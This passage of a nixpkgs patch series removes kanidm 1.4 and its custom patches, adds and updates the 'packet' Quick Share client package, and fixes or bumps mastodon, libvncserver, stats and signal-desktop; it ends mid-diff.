-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
-             EntryClass::Account,
-@@ -864,38 +868,40 @@ lazy_static! {
-             Attribute::OAuth2StrictRedirectUri,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::Name,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-             Attribute::OAuth2StrictRedirectUri,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::Name,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-             Attribute::OAuth2StrictRedirectUri,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
--- 
-2.46.1
-
diff --git a/pkgs/by-name/ka/kanidm/patches/1_4/recover-account.patch b/pkgs/by-name/ka/kanidm/patches/1_4/recover-account.patch
deleted file mode 100644
index 312c412809d8..000000000000
--- a/pkgs/by-name/ka/kanidm/patches/1_4/recover-account.patch
+++ /dev/null
@@ -1,174 +0,0 @@
-From c8ed69efe3f702b19834c2659be1dd3ec2d41c17 Mon Sep 17 00:00:00 2001
-From: oddlama <oddlama@oddlama.org>
-Date: Fri, 1 Nov 2024 12:27:43 +0100
-Subject: [PATCH 2/2] recover account
-
----
- server/core/src/actors/internal.rs |  3 ++-
- server/core/src/admin.rs           |  6 +++---
- server/daemon/src/main.rs          | 14 +++++++++++++-
- server/daemon/src/opt.rs           |  4 ++++
- 4 files changed, 22 insertions(+), 5 deletions(-)
-
-diff --git a/server/core/src/actors/internal.rs b/server/core/src/actors/internal.rs
-index 420e72c6c..5c4353116 100644
---- a/server/core/src/actors/internal.rs
-+++ b/server/core/src/actors/internal.rs
-@@ -171,25 +171,26 @@ impl QueryServerWriteV1 {
-     }
- 
-     #[instrument(
-         level = "info",
--        skip(self, eventid),
-+        skip(self, password, eventid),
-         fields(uuid = ?eventid)
-     )]
-     pub(crate) async fn handle_admin_recover_account(
-         &self,
-         name: String,
-+        password: Option<String>,
-         eventid: Uuid,
-     ) -> Result<String, OperationError> {
-         let ct = duration_from_epoch_now();
-         let mut idms_prox_write = self.idms.proxy_write(ct).await?;
--        let pw = idms_prox_write.recover_account(name.as_str(), None)?;
-+        let pw = idms_prox_write.recover_account(name.as_str(), password.as_deref())?;
- 
-         idms_prox_write.commit().map(|()| pw)
-     }
- 
-     #[instrument(
-         level = "info",
-         skip_all,
-         fields(uuid = ?eventid)
-     )]
-     pub(crate) async fn handle_domain_raise(&self, eventid: Uuid) -> Result<u32, OperationError> {
-diff --git a/server/core/src/admin.rs b/server/core/src/admin.rs
-index 90ccb1927..85e31ddef 100644
---- a/server/core/src/admin.rs
-+++ b/server/core/src/admin.rs
-@@ -17,21 +17,21 @@ use tokio_util::codec::{Decoder, Encoder, Framed};
- use tracing::{span, Instrument, Level};
- use uuid::Uuid;
- 
- pub use kanidm_proto::internal::{
-     DomainInfo as ProtoDomainInfo, DomainUpgradeCheckReport as ProtoDomainUpgradeCheckReport,
-     DomainUpgradeCheckStatus as ProtoDomainUpgradeCheckStatus,
- };
- 
- #[derive(Serialize, Deserialize, Debug)]
- pub enum AdminTaskRequest {
--    RecoverAccount { name: String },
-+    RecoverAccount { name: String, password: Option<String> },
-     ShowReplicationCertificate,
-     RenewReplicationCertificate,
-     RefreshReplicationConsumer,
-     DomainShow,
-     DomainUpgradeCheck,
-     DomainRaise,
-     DomainRemigrate { level: Option<u32> },
- }
- 
- #[derive(Serialize, Deserialize, Debug)]
-@@ -302,22 +302,22 @@ async fn handle_client(
-     let mut reqs = Framed::new(sock, ServerCodec);
- 
-     trace!("Waiting for requests ...");
-     while let Some(Ok(req)) = reqs.next().await {
-         // Setup the logging span
-         let eventid = Uuid::new_v4();
-         let nspan = span!(Level::INFO, "handle_admin_client_request", uuid = ?eventid);
- 
-         let resp = async {
-             match req {
--                AdminTaskRequest::RecoverAccount { name } => {
--                    match server_rw.handle_admin_recover_account(name, eventid).await {
-+                AdminTaskRequest::RecoverAccount { name, password } => {
-+                    match server_rw.handle_admin_recover_account(name, password, eventid).await {
-                         Ok(password) => AdminTaskResponse::RecoverAccount { password },
-                         Err(e) => {
-                             error!(err = ?e, "error during recover-account");
-                             AdminTaskResponse::Error
-                         }
-                     }
-                 }
-                 AdminTaskRequest::ShowReplicationCertificate => match repl_ctrl_tx.as_mut() {
-                     Some(ctrl_tx) => show_replication_certificate(ctrl_tx).await,
-                     None => {
-diff --git a/server/daemon/src/main.rs b/server/daemon/src/main.rs
-index 7486d34a8..784106352 100644
---- a/server/daemon/src/main.rs
-+++ b/server/daemon/src/main.rs
-@@ -903,27 +903,39 @@ async fn kanidm_main(
-             } else {
-                 let output_mode: ConsoleOutputMode = commonopts.output_mode.to_owned().into();
-                 submit_admin_req(
-                     config.adminbindpath.as_str(),
-                     AdminTaskRequest::RefreshReplicationConsumer,
-                     output_mode,
-                 )
-                 .await;
-             }
-         }
--        KanidmdOpt::RecoverAccount { name, commonopts } => {
-+        KanidmdOpt::RecoverAccount { name, from_environment, commonopts } => {
-             info!("Running account recovery ...");
-             let output_mode: ConsoleOutputMode = commonopts.output_mode.to_owned().into();
-+            let password = if *from_environment {
-+                match std::env::var("KANIDM_RECOVER_ACCOUNT_PASSWORD") {
-+                    Ok(val) => Some(val),
-+                    _ => {
-+                        error!("Environment variable KANIDM_RECOVER_ACCOUNT_PASSWORD not set");
-+                        return ExitCode::FAILURE;
-+                    }
-+                }
-+            } else {
-+                None
-+            };
-             submit_admin_req(
-                 config.adminbindpath.as_str(),
-                 AdminTaskRequest::RecoverAccount {
-                     name: name.to_owned(),
-+                    password,
-                 },
-                 output_mode,
-             )
-             .await;
-         }
-         KanidmdOpt::Database {
-             commands: DbCommands::Reindex(_copt),
-         } => {
-             info!("Running in reindex mode ...");
-             reindex_server_core(&config).await;
-diff --git a/server/daemon/src/opt.rs b/server/daemon/src/opt.rs
-index f1b45a5b3..9c013e32e 100644
---- a/server/daemon/src/opt.rs
-+++ b/server/daemon/src/opt.rs
-@@ -229,20 +229,24 @@ enum KanidmdOpt {
-     /// Create a self-signed ca and tls certificate in the locations listed from the
-     /// configuration. These certificates should *not* be used in production, they
-     /// are for testing and evaluation only!
-     CertGenerate(CommonOpt),
-     #[clap(name = "recover-account")]
-     /// Recover an account's password
-     RecoverAccount {
-         #[clap(value_parser)]
-         /// The account name to recover credentials for.
-         name: String,
-+        /// Use the password given in the environment variable
-+        /// `KANIDM_RECOVER_ACCOUNT_PASSWORD` instead of generating one.
-+        #[clap(long = "from-environment")]
-+        from_environment: bool,
-         #[clap(flatten)]
-         commonopts: CommonOpt,
-     },
-     /// Display this server's replication certificate
-     ShowReplicationCertificate {
-         #[clap(flatten)]
-         commonopts: CommonOpt,
-     },
-     /// Renew this server's replication certificate
-     RenewReplicationCertificate {
--- 
-2.46.1
-
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 446c93001dee..c2838a8c49d1 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -937,6 +937,8 @@ mapAliases {
   kafkacat = throw "'kafkacat' has been renamed to/replaced by 'kcat'"; # Converted to throw 2024-10-17
   kak-lsp = kakoune-lsp; # Added 2024-04-01
   kanidm_1_3 = throw "'kanidm_1_3' has been removed as it has reached end of life"; # Added 2025-03-10
+  kanidm_1_4 = throw "'kanidm_1_4' has been removed as it has reached end of life"; # Added 2025-06-18
+  kanidmWithSecretProvisioning_1_4 = throw "'kanidmWithSecretProvisioning_1_4' has been removed as it has reached end of life"; # Added 2025-06-18
   kdbplus = throw "'kdbplus' has been removed from nixpkgs"; # Added 2024-05-06
   kdeconnect = throw "'kdeconnect' has been renamed to/replaced by 'plasma5Packages.kdeconnect-kde'"; # Converted to throw 2024-10-17
   keepkey_agent = keepkey-agent; # added 2024-01-06
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0960b45da6a5..41870557ef59 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10465,16 +10465,11 @@ with pkgs;
 
   jetty = jetty_12;
 
-  kanidm_1_4 = callPackage ../by-name/ka/kanidm/1_4.nix { kanidm = kanidm_1_4; };
   kanidm_1_5 = callPackage ../by-name/ka/kanidm/1_5.nix { kanidm = kanidm_1_5; };
   kanidm_1_6 = callPackage ../by-name/ka/kanidm/1_6.nix { kanidm = kanidm_1_6; };
 
   kanidmWithSecretProvisioning = kanidmWithSecretProvisioning_1_6;
 
-  kanidmWithSecretProvisioning_1_4 = callPackage ../by-name/ka/kanidm/1_4.nix {
-    enableSecretProvisioning = true;
-  };
-
   kanidmWithSecretProvisioning_1_5 = callPackage ../by-name/ka/kanidm/1_5.nix {
     enableSecretProvisioning = true;
   };

From 43d7e1a447182f26a11957873f5f851a0c4aad2b Mon Sep 17 00:00:00 2001
From: Louis Dalibard <louis.dalibard@gmail.com>
Date: Tue, 3 Jun 2025 22:08:36 +0200
Subject: [PATCH 1309/4511] maintainers: add ontake to maintainers

---
 maintainers/maintainer-list.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3951c245165c..7ae9a272aa28 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -18433,6 +18433,14 @@
     githubId = 107261;
     name = "Andrey Kuznetsov";
   };
+  ontake = {
+    name = "Louis Dalibard";
+    email = "ontake@ontake.dev";
+    github = "make-42";
+    githubId = 17462236;
+    matrix = "@ontake:matrix.ontake.dev";
+    keys = [ { fingerprint = "36BC 916D DD4E B1EE EE82 4BBF DC95 900F 6DA7 9992"; } ];
+  };
   onthestairs = {
     email = "austinplatt@gmail.com";
     github = "onthestairs";

From d981babbbab4779b9c8b3033769e582658b5d80a Mon Sep 17 00:00:00 2001
From: Louis Dalibard <louis.dalibard@gmail.com>
Date: Tue, 3 Jun 2025 22:09:07 +0200
Subject: [PATCH 1310/4511] packet: init at 0.3.4

Co-authored-by: Aleksana <alexander.huang.y@gmail.com>
---
 pkgs/by-name/pa/packet/package.nix | 73 ++++++++++++++++++++++++++++++
 1 file changed, 73 insertions(+)
 create mode 100644 pkgs/by-name/pa/packet/package.nix

diff --git a/pkgs/by-name/pa/packet/package.nix b/pkgs/by-name/pa/packet/package.nix
new file mode 100644
index 000000000000..b25c00c8670e
--- /dev/null
+++ b/pkgs/by-name/pa/packet/package.nix
@@ -0,0 +1,73 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  cargo,
+  meson,
+  ninja,
+  pkg-config,
+  protobuf,
+  rustPlatform,
+  rustc,
+  wrapGAppsHook4,
+  cairo,
+  dbus,
+  gdk-pixbuf,
+  glib,
+  gtk4,
+  libadwaita,
+  pango,
+  blueprint-compiler,
+  desktop-file-utils,
+  appstream,
+}:
+stdenv.mkDerivation (finalAttrs: {
+  pname = "packet";
+  version = "0.3.4";
+
+  src = fetchFromGitHub {
+    owner = "nozwock";
+    repo = "packet";
+    tag = finalAttrs.version;
+    hash = "sha256-s3R/RDfQAQR6Jdehco5TD+2GpG4y9sEl0moWMxv3PZE=";
+  };
+
+  cargoDeps = rustPlatform.fetchCargoVendor {
+    inherit (finalAttrs) pname version src;
+    hash = "sha256-0Cbw5bSOK1bTq8ozZlRpZOelfak6N2vZOQPU4vsnepk=";
+  };
+
+  nativeBuildInputs = [
+    cargo
+    meson
+    ninja
+    pkg-config
+    protobuf
+    rustPlatform.cargoSetupHook
+    rustc
+    wrapGAppsHook4
+    blueprint-compiler
+    desktop-file-utils
+    glib
+    gtk4
+    appstream
+  ];
+
+  buildInputs = [
+    cairo
+    dbus
+    gdk-pixbuf
+    libadwaita
+    pango
+  ];
+
+  meta = {
+    description = "Quick Share client for Linux";
+    homepage = "https://github.com/nozwock/packet";
+    changelog = "https://github.com/nozwock/packet/releases/tag/${finalAttrs.src.tag}";
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ ontake ];
+    mainProgram = "packet";
+    platforms = lib.platforms.linux;
+  };
+})

From 12eaf9b98f08a59e2aa5ae6c3146260ecc537f8c Mon Sep 17 00:00:00 2001
From: Louis Dalibard <louis.dalibard@gmail.com>
Date: Mon, 9 Jun 2025 11:28:50 +0200
Subject: [PATCH 1311/4511] packet: 0.3.4 -> 0.4.0

---
 pkgs/by-name/pa/packet/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/packet/package.nix b/pkgs/by-name/pa/packet/package.nix
index b25c00c8670e..c058a6bbc016 100644
--- a/pkgs/by-name/pa/packet/package.nix
+++ b/pkgs/by-name/pa/packet/package.nix
@@ -23,18 +23,18 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "packet";
-  version = "0.3.4";
+  version = "0.4.0";
 
   src = fetchFromGitHub {
     owner = "nozwock";
     repo = "packet";
     tag = finalAttrs.version;
-    hash = "sha256-s3R/RDfQAQR6Jdehco5TD+2GpG4y9sEl0moWMxv3PZE=";
+    hash = "sha256-MnDXwgzSnz8bLEAZE4PORKKIP8Ao5ZiImRqRzlQzYU8=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-0Cbw5bSOK1bTq8ozZlRpZOelfak6N2vZOQPU4vsnepk=";
+    hash = "sha256-LlqJoxAWHAQ47VlYB/sOtk/UkNa+E5CQS/3FQnAYFsI=";
   };
 
   nativeBuildInputs = [

From bf92ada01d98f91f8f8bdce5c8a5a6d7785e532c Mon Sep 17 00:00:00 2001
From: Honnip <me@honnip.page>
Date: Thu, 12 Jun 2025 16:48:19 +0900
Subject: [PATCH 1312/4511] =?UTF-8?q?packet:=200.4.0=20=E2=86=92=200.5.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../pa/packet/nautilus-extension-locale.patch | 26 +++++++++++++++++++
 pkgs/by-name/pa/packet/package.nix            | 21 ++++++++++++---
 2 files changed, 44 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/by-name/pa/packet/nautilus-extension-locale.patch

diff --git a/pkgs/by-name/pa/packet/nautilus-extension-locale.patch b/pkgs/by-name/pa/packet/nautilus-extension-locale.patch
new file mode 100644
index 000000000000..a667c9e35d0f
--- /dev/null
+++ b/pkgs/by-name/pa/packet/nautilus-extension-locale.patch
@@ -0,0 +1,26 @@
+diff --git a/data/resources/plugins/meson.build b/data/resources/plugins/meson.build
+index ac60edd..9e055b8 100644
+--- a/data/resources/plugins/meson.build
++++ b/data/resources/plugins/meson.build
+@@ -1,6 +1,7 @@
+ plugins_conf = configuration_data()
+ plugins_conf.set('APP_ID', application_id)
+ plugins_conf.set('LOCALE_DOMAIN', gettext_package)
++plugins_conf.set('LOCALE_DIR', localedir)
+ 
+ configure_file(
+   input: 'packet_nautilus.py.in',
+diff --git a/data/resources/plugins/packet_nautilus.py.in b/data/resources/plugins/packet_nautilus.py.in
+index 9c5e71e..7288ee9 100755
+--- a/data/resources/plugins/packet_nautilus.py.in
++++ b/data/resources/plugins/packet_nautilus.py.in
+@@ -23,7 +23,8 @@ def log(*vals: Any):
+ # TODO: Maybe have a separate gettext package for plugin scripts that gets
+ # copied over alongside the script. Seems more robust?
+ def init_i18n() -> gettext.NullTranslations | gettext.GNUTranslations:
+-    locale_dirs: List[Path | None] = [None]  # None for system default locale dir
++    # `None` is for system default locale dir
++    locale_dirs: List[Path | None] = [None, Path("@LOCALE_DIR@")]
+     (lang, enc) = locale.getlocale()
+ 
+     flatpak_info = None
diff --git a/pkgs/by-name/pa/packet/package.nix b/pkgs/by-name/pa/packet/package.nix
index c058a6bbc016..bf69a22e063c 100644
--- a/pkgs/by-name/pa/packet/package.nix
+++ b/pkgs/by-name/pa/packet/package.nix
@@ -20,21 +20,27 @@
   blueprint-compiler,
   desktop-file-utils,
   appstream,
+  python3Packages,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "packet";
-  version = "0.4.0";
+  version = "0.5.1";
 
   src = fetchFromGitHub {
     owner = "nozwock";
     repo = "packet";
     tag = finalAttrs.version;
-    hash = "sha256-MnDXwgzSnz8bLEAZE4PORKKIP8Ao5ZiImRqRzlQzYU8=";
+    hash = "sha256-MZdZf4fLtUd30LncPLVkcNdjuzw+Wi33A1MJqQbEurk=";
   };
 
+  patches = [
+    # let nautilus find the locale directory
+    ./nautilus-extension-locale.patch
+  ];
+
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-LlqJoxAWHAQ47VlYB/sOtk/UkNa+E5CQS/3FQnAYFsI=";
+    hash = "sha256-ODrM8oGQpi+DpG4YQYibtVHbicuHOjZAlZ1wW2Gulec=";
   };
 
   nativeBuildInputs = [
@@ -59,8 +65,17 @@ stdenv.mkDerivation (finalAttrs: {
     gdk-pixbuf
     libadwaita
     pango
+    python3Packages.wrapPython
   ];
 
+  postFixup = ''
+    buildPythonPath ${python3Packages.dbus-python}
+    patchPythonScript $out/share/packet/plugins/packet_nautilus.py
+    # install the nautilus extension in the expected location
+    mkdir -p $out/share/nautilus-python
+    ln -s $out/share/packet/plugins $out/share/nautilus-python/extensions
+  '';
+
   meta = {
     description = "Quick Share client for Linux";
     homepage = "https://github.com/nozwock/packet";

From 2f8de667c1a9bc1b275064e5fca71fc0f4fec9c7 Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Wed, 18 Jun 2025 13:56:00 +0200
Subject: [PATCH 1313/4511] nixos/mastodon: make robust for cases where
 postgresql isn't enabled on the host

E.g. when a remote PostgreSQL database is used

Apparently you can't access the services.postgresql.package value
anymore if postgresql isn't enabled?

(cherry picked from commit ed0af3bf25cc138e6a2942c8483e87b5e5fd0762)
---
 nixos/modules/services/web-apps/mastodon.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/mastodon.nix b/nixos/modules/services/web-apps/mastodon.nix
index da6a09a00101..a415e8d7f771 100644
--- a/nixos/modules/services/web-apps/mastodon.nix
+++ b/nixos/modules/services/web-apps/mastodon.nix
@@ -973,7 +973,7 @@ in
             '';
           path = [
             cfg.package
-            config.services.postgresql.package
+            (if databaseActuallyCreateLocally then config.services.postgresql.package else pkgs.postgresql)
           ];
           environment =
             env

From 06b354eb2dc535c57e9b4caaa16d79168f117a26 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Wed, 18 Jun 2025 15:22:30 +0200
Subject: [PATCH 1314/4511] libvncserver: 0.9.14 -> 0.9.15

Also a minor cleanup

(cherry picked from commit b86c6266efa8906b688d3ec877e882dfc24fd2a7)
---
 pkgs/by-name/li/libvncserver/package.nix     | 14 ++++++--------
 pkgs/by-name/li/libvncserver/pkgconfig.patch | 12 ++++++------
 2 files changed, 12 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/li/libvncserver/package.nix b/pkgs/by-name/li/libvncserver/package.nix
index b016e19af766..510717cfcc4d 100644
--- a/pkgs/by-name/li/libvncserver/package.nix
+++ b/pkgs/by-name/li/libvncserver/package.nix
@@ -12,9 +12,9 @@
   systemd,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "libvncserver";
-  version = "0.9.14";
+  version = "0.9.15";
 
   outputs = [
     "out"
@@ -24,8 +24,8 @@ stdenv.mkDerivation rec {
   src = fetchFromGitHub {
     owner = "LibVNC";
     repo = "libvncserver";
-    rev = "LibVNCServer-${version}";
-    sha256 = "sha256-kqVZeCTp+Z6BtB6nzkwmtkJ4wtmjlSQBg05lD02cVvQ=";
+    tag = "LibVNCServer-${finalAttrs.version}";
+    hash = "sha256-a3acEjJM+ZA9jaB6qZ/czjIfx/L3j71VjJ6mtlqYcSw=";
   };
 
   patches = [
@@ -37,9 +37,7 @@ stdenv.mkDerivation rec {
     cmake
   ];
 
-  cmakeFlags = [
-    "-DWITH_SYSTEMD=${if withSystemd then "ON" else "OFF"}"
-  ];
+  cmakeFlags = [ (lib.cmakeBool "WITH_SYSTEMD" withSystemd) ];
 
   buildInputs =
     [
@@ -63,4 +61,4 @@ stdenv.mkDerivation rec {
     maintainers = with maintainers; [ raskin ];
     platforms = platforms.unix;
   };
-}
+})
diff --git a/pkgs/by-name/li/libvncserver/pkgconfig.patch b/pkgs/by-name/li/libvncserver/pkgconfig.patch
index 0b98e9e0a79b..929508b4d935 100644
--- a/pkgs/by-name/li/libvncserver/pkgconfig.patch
+++ b/pkgs/by-name/li/libvncserver/pkgconfig.patch
@@ -1,7 +1,7 @@
-diff --git a/libvncclient.pc.cmakein b/libvncclient.pc.cmakein
+diff --git a/src/libvncclient/libvncclient.pc.cmakein b/src/libvncclient/libvncclient.pc.cmakein
 index ceeda39d..2516e643 100644
---- a/libvncclient.pc.cmakein
-+++ b/libvncclient.pc.cmakein
+--- a/src/libvncclient/libvncclient.pc.cmakein
++++ b/src/libvncclient/libvncclient.pc.cmakein
 @@ -1,7 +1,7 @@
  prefix=@CMAKE_INSTALL_PREFIX@
  exec_prefix=@CMAKE_INSTALL_PREFIX@
@@ -12,10 +12,10 @@ index ceeda39d..2516e643 100644
  
  Name: LibVNCClient
  Description: A library for easy implementation of a VNC client.
-diff --git a/libvncserver.pc.cmakein b/libvncserver.pc.cmakein
+diff --git a/src/libvncserver/libvncserver.pc.cmakein b/src/libvncserver/libvncserver.pc.cmakein
 index 33ec6685..57244742 100644
---- a/libvncserver.pc.cmakein
-+++ b/libvncserver.pc.cmakein
+--- a/src/libvncserver/libvncserver.pc.cmakein
++++ b/src/libvncserver/libvncserver.pc.cmakein
 @@ -1,7 +1,7 @@
  prefix=@CMAKE_INSTALL_PREFIX@
  exec_prefix=@CMAKE_INSTALL_PREFIX@

From dd274e4da52388980de2ca1a889d4099bfc5a016 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Wed, 18 Jun 2025 15:25:59 +0200
Subject: [PATCH 1315/4511] libvncserver: support static building

(cherry picked from commit 815b4779387114ce22c55a09421afa8a5c78da52)
---
 pkgs/by-name/li/libvncserver/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/libvncserver/package.nix b/pkgs/by-name/li/libvncserver/package.nix
index 510717cfcc4d..0d6b14a8fcf1 100644
--- a/pkgs/by-name/li/libvncserver/package.nix
+++ b/pkgs/by-name/li/libvncserver/package.nix
@@ -10,6 +10,8 @@
   libpng,
   withSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd,
   systemd,
+
+  enableShared ? !stdenv.hostPlatform.isStatic,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -37,7 +39,10 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
   ];
 
-  cmakeFlags = [ (lib.cmakeBool "WITH_SYSTEMD" withSystemd) ];
+  cmakeFlags = [
+    (lib.cmakeBool "WITH_SYSTEMD" withSystemd)
+    (lib.cmakeBool "BUILD_SHARED_LIBS" enableShared)
+  ];
 
   buildInputs =
     [

From 83b88caccd283f3c7b85a51c7d97b3df4155df0d Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Wed, 18 Jun 2025 15:38:57 +0200
Subject: [PATCH 1316/4511] libvncserver: opt-in to build examples

(cherry picked from commit e7f53ce4317d4e9f712f193985d0ee59feb96527)
---
 pkgs/by-name/li/libvncserver/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/li/libvncserver/package.nix b/pkgs/by-name/li/libvncserver/package.nix
index 0d6b14a8fcf1..ecaceb3c56ad 100644
--- a/pkgs/by-name/li/libvncserver/package.nix
+++ b/pkgs/by-name/li/libvncserver/package.nix
@@ -12,6 +12,7 @@
   systemd,
 
   enableShared ? !stdenv.hostPlatform.isStatic,
+  buildExamples ? false,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -42,6 +43,7 @@ stdenv.mkDerivation (finalAttrs: {
   cmakeFlags = [
     (lib.cmakeBool "WITH_SYSTEMD" withSystemd)
     (lib.cmakeBool "BUILD_SHARED_LIBS" enableShared)
+    (lib.cmakeBool "WITH_EXAMPLES" buildExamples)
   ];
 
   buildInputs =

From 8dba484a3cd35c00f76fd68561d2b4c57f3dcf0e Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Thu, 19 Jun 2025 13:35:44 +0300
Subject: [PATCH 1317/4511] stats: 2.11.41 -> 2.11.45

Changelog: https://github.com/exelban/stats/releases/tag/v2.11.45
Diff: https://github.com/exelban/stats/compare/v2.11.41...v2.11.45
(cherry picked from commit d909d782db84f29821fee6c4fbebe61adf1f4079)
---
 pkgs/by-name/st/stats/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/st/stats/package.nix b/pkgs/by-name/st/stats/package.nix
index e4edb91ac049..b99e609cbbad 100644
--- a/pkgs/by-name/st/stats/package.nix
+++ b/pkgs/by-name/st/stats/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "stats";
-  version = "2.11.41";
+  version = "2.11.45";
 
   src = fetchurl {
     url = "https://github.com/exelban/stats/releases/download/v${finalAttrs.version}/Stats.dmg";
-    hash = "sha256-iW22uCyfx9sCX3GyVmYzyJIHylxIpgJLns2oHVFBwc4=";
+    hash = "sha256-OdZ8LCU0kCCKk4SeyDryDpyCUsjf8aUZAv2o/cR4GX8=";
   };
 
   sourceRoot = ".";

From 1cdccdd867e509afd7cde5d301b269f0e44de743 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Fri, 20 Jun 2025 17:46:30 +0200
Subject: [PATCH 1318/4511] signal-desktop: 7.56.1 -> 7.58.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 63b6e30d3622c28f1180abf7e1d0a93ecf00a34a)
---
 pkgs/by-name/si/signal-desktop/package.nix    |  10 +-
 pkgs/by-name/si/signal-desktop/ringrtc.nix    |   6 +-
 .../si/signal-desktop/webrtc-sources.json     | 136 +++++++++---------
 pkgs/by-name/si/signal-desktop/webrtc.nix     |   4 +
 4 files changed, 80 insertions(+), 76 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 4c5d4921a33d..d1f4b750ec25 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -48,13 +48,13 @@ let
     '';
   });
 
-  version = "7.56.1";
+  version = "7.58.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-zPoZ76ujS8H4ls7RW4bojRIKOrPRJPjdHJVAl1cH9vY=";
+    hash = "sha256-0WO4cjbZLVaf/ju7PdfZJKOa7qGXsjWZHGY8lxOvr3w=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -116,15 +116,15 @@ stdenv.mkDerivation (finalAttrs: {
       ;
     hash =
       if withAppleEmojis then
-        "sha256-RP3d1t4bbvehdCDSL3bHrlJEnn65TDViI5jVjSiuJw8="
+        "sha256-h2yaGRqAtVh/8Jv+YZAcXw3/b8+fi+cKFSqcRhMH2sM="
       else
-        "sha256-KJvc+kVcwRKsUVW3lK7fPXUSqDQlJFPbYAzQjhFtfoU=";
+        "sha256-1dkJBIQVJxpsd8IQIlRncDYHp+2j0fowlbEEWpQSPtI=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1749072888;
+    SOURCE_DATE_EPOCH = 1750276003;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index b62e9dca2c66..c6ce6e8a4524 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -20,16 +20,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
